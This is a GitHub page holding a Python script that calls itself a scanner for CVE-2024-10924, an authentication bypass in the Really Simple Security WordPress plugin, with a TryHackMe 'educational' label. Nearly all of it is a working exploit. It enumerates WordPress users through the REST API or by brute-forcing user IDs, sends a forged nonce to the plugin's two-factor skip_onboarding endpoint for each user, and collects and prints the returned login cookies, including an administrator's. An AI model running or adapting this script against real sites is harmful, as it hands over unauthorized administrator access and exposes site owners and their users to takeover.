-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathwp_cookie-bypass.py
More file actions
293 lines (245 loc) · 10.8 KB
/
Copy pathwp_cookie-bypass.py
File metadata and controls
293 lines (245 loc) · 10.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
#!/usr/bin/env python3
"""
CVE-2024-10924 Scanner
Really Simple Security Plugin - Authentication Bypass
Author: Educational purposes only | TryHackMe
"""
import sys
import json
import urllib.request
import urllib.parse
import urllib.error
import http.cookiejar
# ─────────────────────────────────────────────
# ANSI Colors
# ─────────────────────────────────────────────
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
CYAN = "\033[96m"
BOLD = "\033[1m"
RESET = "\033[0m"
DIM = "\033[2m"
BANNER = rf"""
{CYAN}{BOLD}
__ __ ____ ____ __ __ ___ _____ ______
| |__| || \ / || | | / \ / ___/| |
| | | || o )_____ | __|| | || ( \_ | |
| | | || _/| || | || _ || O |\__ ||_| |_|
| ` ' || | |_____|| |_ || | || |/ \ | | |
\ / | | | || | || |\ | | |
\_/\_/ |__| |___,_||__|__| \___/ \___| |__|
{RESET}
{DIM} For authorized testing and educational use only{RESET}
{YELLOW} ⚠ Use responsibly on systems you own{RESET}
{"─"*65}
"""
def make_request(url, data=None, cookies=None, timeout=10):
"""Simple HTTP request using only stdlib."""
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (CVE-2024-10924-Scanner)"
}
if cookies:
headers["Cookie"] = "; ".join(f"{k}={v}" for k, v in cookies.items())
body = json.dumps(data).encode() if data else None
req = urllib.request.Request(url, data=body, headers=headers, method="POST" if body else "GET")
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
response_cookies = {}
for header in resp.headers.get_all("Set-Cookie") or []:
parts = header.split(";")[0].strip()
if "=" in parts:
k, v = parts.split("=", 1)
response_cookies[k.strip()] = v.strip()
return resp.status, resp.read().decode(errors="ignore"), response_cookies
except urllib.error.HTTPError as e:
return e.code, e.read().decode(errors="ignore"), {}
except Exception as e:
return None, str(e), {}
def normalize_url(url):
"""Ensure URL has a scheme."""
if not url.startswith("http"):
url = "http://" + url
return url.rstrip("/")
def check_wordpress(base_url):
"""Confirm target is WordPress."""
print(f" {DIM}[~] Checking if target is WordPress...{RESET}")
status, body, _ = make_request(base_url)
if status and ("wp-content" in body or "wp-login" in body or "WordPress" in body):
print(f" {GREEN}[✓] WordPress detected{RESET}")
return True
print(f" {YELLOW}[?] WordPress not confirmed, continuing anyway...{RESET}")
return False
def check_login_page(base_url):
"""Check if wp-login.php or wp-admin is accessible."""
print(f"\n {DIM}[~] Checking login endpoints...{RESET}")
found = []
for path in ["/wp-login.php", "/wp-admin/"]:
status, _, _ = make_request(base_url + path)
icon = f"{GREEN}[✓]" if status and status in [200, 302] else f"{RED}[✗]"
print(f" {icon} {base_url + path} → HTTP {status}{RESET}")
if status and status in [200, 302]:
found.append(path)
return found
def get_rest_base(base_url):
"""Figure out the REST API base (pretty or query-string)."""
print(f"\n {DIM}[~] Detecting REST API endpoint...{RESET}")
# Try pretty permalinks
status, body, _ = make_request(base_url + "/wp-json/")
if status == 200 and "namespaces" in body:
print(f" {GREEN}[✓] REST API found at /wp-json/{RESET}")
return base_url + "/wp-json"
# Try query-string fallback
status, body, _ = make_request(base_url + "/?rest_route=/")
if status == 200 and "namespaces" in body:
print(f" {GREEN}[✓] REST API found via ?rest_route={RESET}")
return base_url + "/index.php?rest_route="
print(f" {RED}[✗] REST API not accessible{RESET}")
return None
def enumerate_users(rest_base):
"""Get user list from WP REST API."""
print(f"\n {DIM}[~] Enumerating users via REST API...{RESET}")
if "rest_route=" in rest_base:
url = rest_base + "/wp/v2/users"
else:
url = rest_base + "/wp/v2/users"
status, body, _ = make_request(url)
users = []
if status == 200:
try:
data = json.loads(body)
for u in data:
users.append({"id": u.get("id"), "name": u.get("name"), "slug": u.get("slug")})
print(f" {GREEN}[✓] User found → ID: {u.get('id')} | Name: {u.get('name')} | Slug: {u.get('slug')}{RESET}")
except Exception:
pass
if not users:
print(f" {YELLOW}[?] User enumeration blocked, trying ID brute-force (1–5)...{RESET}")
for uid in range(1, 6):
s, b, _ = make_request(url + f"/{uid}")
if s == 200:
try:
u = json.loads(b)
users.append({"id": u.get("id"), "name": u.get("name"), "slug": u.get("slug")})
print(f" {GREEN}[✓] User found → ID: {uid} | Name: {u.get('name')}{RESET}")
except Exception:
pass
return users
def check_plugin_namespace(rest_base):
"""Check if reallysimplessl namespace exists."""
print(f"\n {DIM}[~] Checking for Really Simple Security plugin...{RESET}")
if "rest_route=" in rest_base:
url = rest_base + "/"
else:
url = rest_base + "/"
status, body, _ = make_request(url)
if status == 200:
try:
data = json.loads(body)
namespaces = data.get("namespaces", [])
for ns in namespaces:
if "reallysimple" in ns.lower():
print(f" {GREEN}[✓] Really Simple Security namespace found: {ns}{RESET}")
return True
except Exception:
pass
print(f" {RED}[✗] Really Simple Security namespace not found{RESET}")
return False
def attempt_bypass(rest_base, user_id, username):
"""Attempt the CVE-2024-10924 auth bypass for a given user."""
print(f"\n {DIM}[~] Attempting bypass for user '{username}' (ID: {user_id})...{RESET}")
if "rest_route=" in rest_base:
url = rest_base + "/reallysimplessl/v1/two_fa/skip_onboarding"
else:
url = rest_base + "/reallysimplessl/v1/two_fa/skip_onboarding"
payload = {
"user_id": user_id,
"login_nonce": "1", # Fake nonce — not validated due to bug
"redirect_to": "/wp-admin/"
}
status, body, cookies = make_request(url, data=payload)
if status == 200 and "redirect_to" in body:
print(f" {GREEN}{BOLD}[✓] BYPASS SUCCESSFUL for '{username}' (ID: {user_id})!{RESET}")
if cookies:
print(f" {GREEN}[✓] Auth cookies received:{RESET}")
for k, v in cookies.items():
print(f" {DIM}{k} = {v[:60]}...{RESET}")
return True, cookies
else:
print(f" {RED}[✗] Bypass failed for '{username}' (status: {status}){RESET}")
return False, {}
def scan(target_url):
print(BANNER)
base_url = normalize_url(target_url)
print(f"{BOLD} Target:{RESET} {base_url}\n")
print("─" * 65)
results = {
"target": base_url,
"is_wordpress": False,
"login_pages": [],
"plugin_present": False,
"users": [],
"vulnerable": False,
"bypassed_users": []
}
# Step 1: WordPress check
results["is_wordpress"] = check_wordpress(base_url)
# Step 2: Login pages
results["login_pages"] = check_login_page(base_url)
# Step 3: REST API
rest_base = get_rest_base(base_url)
if not rest_base:
print(f"\n{RED}{BOLD} [!] Cannot reach REST API. Target may not be vulnerable or is unreachable.{RESET}")
return results
# Step 4: Plugin namespace check
results["plugin_present"] = check_plugin_namespace(rest_base)
if not results["plugin_present"]:
print(f"\n{YELLOW} [!] Really Simple Security plugin not detected — likely NOT vulnerable.{RESET}")
return results
# Step 5: User enumeration
results["users"] = enumerate_users(rest_base)
if not results["users"]:
# Try admin (ID=1) blindly
results["users"] = [{"id": 1, "name": "admin", "slug": "admin"}]
print(f" {YELLOW}[?] No users enumerated, trying default admin (ID: 1){RESET}")
# Step 6: Auth bypass attempts
print(f"\n{'─'*65}")
print(f"{BOLD} [*] Attempting CVE-2024-10924 Authentication Bypass...{RESET}")
print(f"{'─'*65}")
for user in results["users"]:
success, cookies = attempt_bypass(rest_base, user["id"], user["name"] or user["slug"])
if success:
results["vulnerable"] = True
results["bypassed_users"].append({
"id": user["id"],
"name": user["name"],
"cookies": cookies
})
# ─── Final Report ───
print(f"\n{'═'*65}")
print(f"{BOLD} SCAN RESULTS — {base_url}{RESET}")
print(f"{'═'*65}")
print(f" WordPress Detected : {'Yes' if results['is_wordpress'] else 'No'}")
print(f" Login Pages Found : {', '.join(results['login_pages']) or 'None'}")
print(f" Plugin Present : {'Yes' if results['plugin_present'] else 'No'}")
print(f" Users Found : {len(results['users'])}")
if results["vulnerable"]:
print(f"\n {RED}{BOLD} ██████████████████████████████████████{RESET}")
print(f" {RED}{BOLD} ██ VULNERABLE — CVE-2024-10924 ██{RESET}")
print(f" {RED}{BOLD} ██████████████████████████████████████{RESET}\n")
for u in results["bypassed_users"]:
print(f" {RED}[!] Auth bypass succeeded → User: {u['name']} | ID: {u['id']}{RESET}")
else:
print(f"\n {GREEN}{BOLD}[✓] NOT VULNERABLE — No auth bypass achieved{RESET}")
print(f"\n{'═'*65}\n")
return results
# ─────────────────────────────────────────────
# Entry Point
# ─────────────────────────────────────────────
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"\nUsage: python3 wp_cookie-bypass.py <target_url>")
print(f"Example: python3 wp_cookie-bypass.py http://vulnerable.thm:8080\n")
sys.exit(1)
scan(sys.argv[1])